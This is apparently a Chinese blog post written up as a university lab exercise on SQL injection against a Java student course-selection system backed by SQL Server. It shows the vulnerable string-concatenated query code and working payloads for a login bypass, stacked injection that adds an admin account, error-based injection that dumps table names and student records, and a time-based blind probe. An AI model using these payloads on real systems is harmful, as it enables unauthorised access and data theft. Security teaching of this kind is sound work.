SQL注入——学生选课系统注入

本文通过一个学生选课管理系统演示了四种SQL注入技术:万能密码登录、堆叠注入、报错注入及时间盲注。每种技术都附带了具体的代码示例和截图,帮助读者深入理解SQL注入的工作原理。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


前言

本次实验利用教师指定的学生选课管理系统进行SQL注入,包含万能密码登录、堆叠注入、报错注入和时间盲注。


一、实验环境

Windows10虚拟机、SQL SERVER 2008 R2、Java 8、Java 学生选课管理系统。(SQL SERVER 2008与Java 8的安装配置方法可自行搜索)

二、实验步骤

1.万能密码

选课管理系统中有关登录的代码如下:

String loginQuery;
String loginUserName = myTextField.getText();
String loginPassword = new String(passwordField.getPassword());
if(myTextField.getText().equals("")) {
    JOptionPane.showMessageDialog(LoginFrame.this,"用户名必须为字母、数字和、汉字\n及其组合,不允许为空格键。","登陆",JOptionPane.WARNING_MESSAGE);
    return;
}
if(selectedItem.equals("教师"))
    loginQuery="SELECT * FROM 教师表 WHERE(登陆帐号='"+loginUserName+"' AND 登陆密码 ='"+loginPassword+"')";
else if(selectedItem.equals("管理员"))
    loginQuery="SELECT * FROM 管理员 WHERE(用户名='"+loginUserName+"' AND 密码 ='"+loginPassword+"')";
else //(selectedItem.equals("学生"))
        loginQuery="SELECT * FROM 学生基本信息表 WHERE(学号='"+loginUserName+"' AND 密码 ='"+loginPassword+"')";
loginStatement=loginConnection.createStatement();
System.out.println(loginQuery);
loginResultSet=loginStatement.executeQuery(loginQuery);
boolean Records=loginResultSet.next();
if(!Records) {
    JOptionPane.showMessageDialog(LoginFrame.this,"没有此用户或密码错误");
    return;
} else {
    login=1;
}
loginConnection.close();

        其中前半段代码的作用是构造SQL查询语句,利用账号和密码查询数据库中是否存在这个用户并返回结果(值为true或false);在后半段代码中我们可以看到若SQL查询返回的结果Records为真,则登录系统,否则提示没有此用户或密码错误。

这里可以利用万能密码,使查询结果永远为真,从而绕过身份验证登陆系统:

admin') or 1=1--+

此时不难看出系统的内部查询语句类似:

SELECT * FROM 学生基本信息表 WHERE (学号='admin') or 1=1--+' AND 密码='');

其中')用于闭合前面的查询语句,再利用or 1=1使得查询结果永远为真。

如图在登录框中输入万能密码后即可登陆系统

2.堆叠注入

在进入系统后,发现在选课申请模块中存在可控制的变量,尝试进行堆叠注入,即在一次正常的SQL查询后加上分号结束此查询语句并进行其他操作。

选课申请模块界面如下:

其中有关此功能的代码如下:

// 选课申请界面监听
if(selected == 2) {
    String commodityquery = "SELECT * FROM 课程信息表 WHERE 课程号=" + courseNumTextField.getText() + "";
    // 调用申请课程方法
    appendInfo(commodityquery);
// 申请课程方法部分代码
String insertInput = "INSERT INTO 成绩表 VALUES('" + LoginFrame.myTextField.getText() + "','" + courseNumTextField.getText() + "'," + null + ")";
stmt = con.createStatement();
ResultSet queryresultSet = stmt.executeQuery( commodityquery );
boolean moreRecords = queryresultSet.next();
if ( !moreRecords ) {
    JOptionPane.showMessageDialog(StudentPanel.this,"对不起,此课程没有开课,请重新输入" );                        
    return;
}
int insert = stmt.executeUpdate( insertInput );//executeUpdate返回一个整型值
if (insert == 1) {
    JOptionPane.showMessageDialog(StudentPanel.this,"选课申请成功!" );
}

构造payload如下:

001;INSERT INTO 管理员 VALUES('test','test');--+

不难理解,此时的查询语句为:

SELECT * FROM 课程信息表 where 课程号=001;INSERT INTO 管理员 VALUES('test','test');--+

即系统在查询课程信息后会执行第二个SQL语句,向管理员表中插入一个管理员账号。

 

执行后会爆出以上错误,此时管理员账号插入成功。

3.报错注入

在这里我利用了convert函数进行报错注入,在系统登陆页面即可进行操作,构造payload如下:

001') and 1=convert(int,(select top 1 db_name()));--+

此时内部查询语句为:

SELECT * FROM 学生基本信息表 WHERE (学号='001' and 1=convert(int,(select top 1 db_name()));--+' AND 密码='');

执行查询后就会爆出错误

 这里可以看到数据库名:学生选课管理系统

 同理可以爆出其他信息,如下:

001') and 1=convert(int,(select top 1 name from 学生选课管理系统.sys.sysobjects where xtype='U'));--+
001') and 1=convert(int,(select top 1 name from 学生选课管理系统.sys.sysobjects where xtype='U' and name !='教师表'));--+
// 余下同理可依次爆出数据库表名称为 教师表、管理员、学生基本信息表、课程表成绩表

001') and 1=convert(int,(select top 1 name from 学生选课管理系统.sys.syscolumns where id=OBJECT_ID('学生基本信息表')));--+
// 余下同理可爆出所有列名,结果分别为 学号、姓名、性别、专业、生日、身高、密码

001') and 1=convert(int,(select top 1 学号 from 学生基本信息表 where 学号!=001));--+
// 余下同理,可爆出学生的所有信息

4.时间盲注

 在系统登陆页面即可检测是否存在时间盲注的注入点,构造payload如下:

001') waitfor delay '0:0:5';--+

 执行语句后发现有明显的5秒时延,说明存在时间盲注注入点。此时可以进行时间盲注,对信息进行猜解,具体方法可以自行搜索。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值